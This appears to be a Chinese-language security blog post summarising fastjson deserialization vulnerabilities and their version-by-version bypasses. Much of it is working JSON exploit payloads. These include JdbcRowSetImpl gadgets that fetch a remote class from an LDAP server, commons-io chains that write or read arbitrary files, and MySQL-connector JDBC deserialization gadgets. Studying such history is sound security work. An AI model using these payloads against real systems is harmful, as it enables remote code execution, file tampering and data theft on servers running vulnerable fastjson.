fastjson总结

1.2.24 ~ 1.2.43

fastjson-1.2.25

在2017年3月15日,fastjson官方主动爆出在 1.2.24 及之前版本存在远程代码执行高危安全漏洞。

影响版本:fastjson <= 1.2.24
描述:fastjson 默认使用 @type 指定反序列化任意类,攻击者可以通过在 Java 常见环境中寻找能够构造恶意类的方法,通过反序列化的过程中调用的 getter/setter 方法,以及目标成员变量的注入来达到传参的目的,最终形成恶意调用链。此漏洞开启了 fastjson 反序列化漏洞的大门,为安全研究人员提供了新的思路。

fastjson-1.2.25

在版本 1.2.25 中,官方对之前的反序列化漏洞进行了修复,引入了 checkAutoType 安全机制,默认情况下 autoTypeSupport 关闭,不能直接反序列化任意类,而打开 AutoType 之后,是基于内置黑名单来实现安全的,fastjson 也提供了添加黑名单的接口。

影响版本:1.2.25 <= fastjson <= 1.2.41
描述:作者通过为危险功能添加开关,并提供黑白名单两种方式进行安全防护,其实已经是相当完整的防护思路,而且作者已经意识到黑名单类将会无穷无尽,仅仅通过维护列表来防止反序列化漏洞并非最好的办法。而且靠用户自己来关注安全信息去维护也不现实。

如果开启了 autoType,先判断类名是否在白名单中,如果在,就使用 TypeUtils.loadClass 加载,然后使用黑名单判断类名的开头,如果匹配就抛出异常。

如果没开启 autoType ,则是先使用黑名单匹配,再使用白名单匹配和加载。最后,如果要反序列化的类和黑白名单都未匹配时,只有开启了 autoType 或者 expectClass 不为空也就是指定了 Class 对象时才会调用 TypeUtils.loadClass 加载。

接着跟一下 loadClass ,这个类在加载目标类之前为了兼容带有描述符的类名,使用了递归调用来处理描述符中的 [L; 字符。

最终的 payload 其实就是在之前的 payload 类名上前后加上L;即可:

1
2
3
4
5
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}

fastjson-1.2.42

在版本 1.2.42 中,fastjson 继续延续了黑白名单的检测模式,但是将黑名单类从白名单修改为使用 HASH 的方式进行对比,这是为了防止安全研究人员根据黑名单中的类进行反向研究,用来对未更新的历史版本进行攻击。同时,作者对之前版本一直存在的使用类描述符绕过黑名单校验的问题尝试进行了修复。

影响版本:1.2.25 <= fastjson <= 1.2.42
描述:一点也不坦诚,学学人家 jackson,到现在还是明文黑名单。而且到目前为止很多类已经被撞出来了。

对描述符进行双写即可绕过:

1
2
3
4
5
{
"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}

fastjson-1.2.43

这个版本主要是修复上一个版本中双写绕过的问题。

影响版本:1.2.25 <= fastjson <= 1.2.43
描述:上有政策,下有对策。在 L; 被进行了限制后,安全研究人员将目光转向了 [

答案当然是可以的:

1
2
3
4
5
{
"@type":"[com.sun.rowset.JdbcRowSetImpl"[,
{"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":true
}

fastjson-1.2.47

在 fastjson 不断迭代到 1.2.47 时,爆出了最为严重的漏洞,可以在不开启 AutoTypeSupport 的情况下进行反序列化的利用。

影响版本:1.2.25 <= fastjson <= 1.2.32 未开启 AutoTypeSupport
影响版本:1.2.33 <= fastjson <= 1.2.47
描述:作者删除了一个 fastjson 的测试文件:https://github.com/alibaba/fastjson/commit/be41b36a8d748067ba4debf12bf236388e500c66 ,里面包含了这次通杀漏洞的 payload。

com.alibaba.fastjson.util.TypeUtils#loadClass中会把类名和类的映射加入map缓存中,而在不开启autotype的情况下可以通过com.alibaba.fastjson.serializer.MiscCodec#deserialze来调用TypeUtils#loadClass,并且这里的loadClass第三个参数cache默认为true,会将加载的类缓存

1
2
3
4
5
6
7
8
9
10
11
{
"name":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"
},
"f":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:23457/Command8",
"autoCommit":"true"
}
}

fastjson-1.2.68

在 1.2.47 版本漏洞爆发之后,官方在 1.2.48 对漏洞进行了修复,在 MiscCodec 处理 Class 类的地方,设置了cache 为 false ,并且 loadClass 重载方法的默认的调用改为不缓存,这就避免了使用了 Class 提前将恶意类名缓存进去。

这个安全修复为 fastjson 带来了一定时间的平静,直到 1.2.68 版本出现了新的漏洞利用方式。

影响版本:fastjson <= 1.2.68
描述:利用 expectClass 绕过 checkAutoType() ,实际上也是为了绕过安全检查的思路的延伸。主要使用 ThrowableAutoCloseable 进行绕过。

版本 1.2.68 本身更新了一个新的安全控制点 safeMode,如果应用程序开启了 safeMode,将在 checkAutoType() 中直接抛出异常,也就是完全禁止 autoType,不得不说,这是一个一劳永逸的修复方式。

1679726315_641e96eb6b810c442fb29.png!small?1679726315600

jre8 写文件

目前已公开的 JRE 8 下的写文件利用链 Poc,这个使用了JavaBeanDeserializer那条链,但是我在jdk8下复现失败

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
{
"x":{
"@type":"java.lang.AutoCloseable",
"@type":"sun.rmi.server.MarshalOutputStream",
"out":{
"@type":"java.util.zip.InflaterOutputStream",
"out":{
"@type":"java.io.FileOutputStream",
"file":"/tmp/dest.txt",
"append":false
},
"infl":{
"input":"eJwL8nUyNDJSyCxWyEgtSgUAHKUENw=="
},
"bufLen":1048576
},
"protocolVersion":1
}
}

fastjson 在通过带参构造函数进行反序列化时,会检查参数是否有参数名,只有含有参数名的带参构造函数才会被认可:

JavaBeanInfo.build 方法中检查参数名的代码片段:

1
2
3
......
boolean is_public = (constructor.getModifiers() & 1) != 0;if (is_public) { String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor); if (lookupParameterNames != null && lookupParameterNames.length != 0 && (creatorConstructor == null || paramNames == null || lookupParameterNames.length > paramNames.length)) { paramNames = lookupParameterNames; creatorConstructor = constructor; }}
......

什么情况下类构造函数的参数会有参数名信息呢?只有当这个类 class 字节码带有调试信息且其中包含有变量信息时才会有。

可以通过如下命令来检查,如果有输出 LocalVariableTable,则证明其 class 字节码里的函数参数会有参数名信息:

1
javap -l <class_name> | grep LocalVariableTable

而我在多个不同的操作系统下的 OpenJDK、Oracle JDK 进行测试,目前只发现 CentOS 下的 OpenJDK 8 字节码调试信息中含有 LocalVariableTable(根据沈沉舟的文章,RedHat 下的 JDK8 安装包也会有,不过他并未说明是 OpenJDK 还是 Oracle JDK,我未做测试)。

总之可以得出结论的是,由于此利用链对 Java 环境的要求,实际渗透测试中满足此要求的环境还是占小部分,需要寻找更为通用的利用链。

commons-io 2.0 - 2.6 写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80

{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)"
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"encoding":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"is":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}
}

commons-io 2.7 - 2.8.0 写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
{
"x":{
"@type":"com.alibaba.fastjson.JSONObject",
"input":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.ReaderInputStream",
"reader":{
"@type":"org.apache.commons.io.input.CharSequenceReader",
"charSequence":{"@type":"java.lang.String""aaaaaa...(长度要大于8192,实际写入前8192个字符)",
"start":0,
"end":2147483647
},
"charsetName":"UTF-8",
"bufferSize":1024
},
"branch":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.output.WriterOutputStream",
"writer":{
"@type":"org.apache.commons.io.output.FileWriterWithEncoding",
"file":"/tmp/pwned",
"charsetName":"UTF-8",
"append": false
},
"charsetName":"UTF-8",
"bufferSize": 1024,
"writeImmediately": true
},
"trigger":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger2":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
},
"trigger3":{
"@type":"java.lang.AutoCloseable",
"@type":"org.apache.commons.io.input.XmlStreamReader",
"inputStream":{
"@type":"org.apache.commons.io.input.TeeInputStream",
"input":{
"$ref":"$.input"
},
"branch":{
"$ref":"$.branch"
},
"closeBranch": true
},
"httpContentType":"text/xml",
"lenient":false,
"defaultEncoding":"UTF-8"
}
}

commons-io 读文件

可以盲注出文件的内容,并且调用的是URL对象,可以使用file或者netdoc遍历目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
{
"abc": {
"@type": "java.lang.AutoCloseable",
"@type": "org.apache.commons.io.input.BOMInputStream",
"delegate": {
"@type": "org.apache.commons.io.input.ReaderInputStream",
"reader": {
"@type": "jdk.nashorn.api.scripting.URLReader",
"url": "file:///C:/1.txt"
},
"charsetName": "UTF-8",
"bufferSize": 1024
},
"boms": [{
"charsetName": "UTF-8",
"bytes": [66]
}]
},
"address": {
"$ref": "$.abc.BOM"
}
}

jdbc反序列化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
//Mysql connector 5.1.11-5.1.48
{
"name": {
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.jdbc.JDBC4Connection",
"hostToConnectTo": "127.0.0.1",
"portToConnectTo": 3306,
"info": {
"user": "CommonsCollections5",
"password": "pass",
"statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true",
"NUM_HOSTS": "1"
}
}
1
2
3
4
5
6
7
8
9
10
//Mysql connector 6.0.2 or 6.0.3
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedMySQLConnection",
"proxy": {
"connectionString": {
"url": "jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=CommonsCollections5"
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
//Mysql connector 8.0.19
{
"@type": "java.lang.AutoCloseable",
"@type": "com.mysql.cj.jdbc.ha.ReplicationMySQLConnection",
"proxy": {
"@type": "com.mysql.cj.jdbc.ha.LoadBalancedConnectionProxy",
"connectionUrl": {
"@type": "com.mysql.cj.conf.url.ReplicationConnectionUrl",
"masters": [{
"host": "127.0.0.1"
}],
"slaves": [],
"properties": {
"host": "127.0.0.1",
"user": "CommonsCollections5",
"dbname": "dbname",
"password": "pass",
"queryInterceptors": "com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor",
"autoDeserialize": "true"
}
}
}
}

fastjson-1.2.80

1.2.68的修复方式非常的简单粗暴,将java.lang.Runnablejava.lang.Readablejava.lang.AutoCloseable加入了黑名单,那么1.2.80用的就是另一个期望类:异常类Throwable

实例化类属性的对应类后,fastjson会将其加入到类缓存mappings中,从缓存中取类在修复前不会判断autoTypeSupport,所以绕过了类白名单机制扩展出更多的可用类

利用流程:

  1. 指定显式期望类,实例化XXXException并被加入类缓存
  2. 通过XXXException中可控的属性名/参数名,由隐式类间关系实例化并被加入类缓存
  3. 直接从缓存中拿出来用,或者进一步递归让其它类被加入到缓存

Groovy

利用条件

  • fastjson版本: 1.2.76 <= fastjson < 1.2.83
  • 存在groovy依赖

最简单也最可能达成的一条链

img

aspectj

fastjson1.2.73-1.2.80,依赖aspectjtools

img

jdbc

依赖jython+postgresql+spring-context

使用aspectJ库读文件

使用aspectjtools库、ognl库以及commons-io库

依赖三个jar包

ognl写文件

使用ognl库配合commons-io库

这条链配合了commons-io那条链(XmlStreamReader链来完成文件读写操作)

总结

1.2.24之下无限制,随便玩

1.2.25到1.2.41新增黑白名单,使用L开头;结尾进行绕过

1.2.42双写L开头;结尾进行绕过

1.2.43使用[进行绕过

1.2.47及以下使用MiscCodec类刷新缓存绕过

1.2.48cache为false,不给存入缓存

1.2.48到1.2.80利用expectClass绕过

-1.2.48到1.2.68使用AutoCloseable进行绕过

-1.2.69到1.2.80使用ThrowableDeserializer进行绕过

Reference

https://github.com/safe6Sec/Fastjson

https://su18.org/post/fastjson

https://blog.csdn.net/NicolasZQ/article/details/130004281

https://www.freebuf.com/vuls/361576.html

https://b1ue.cn/archives/184.html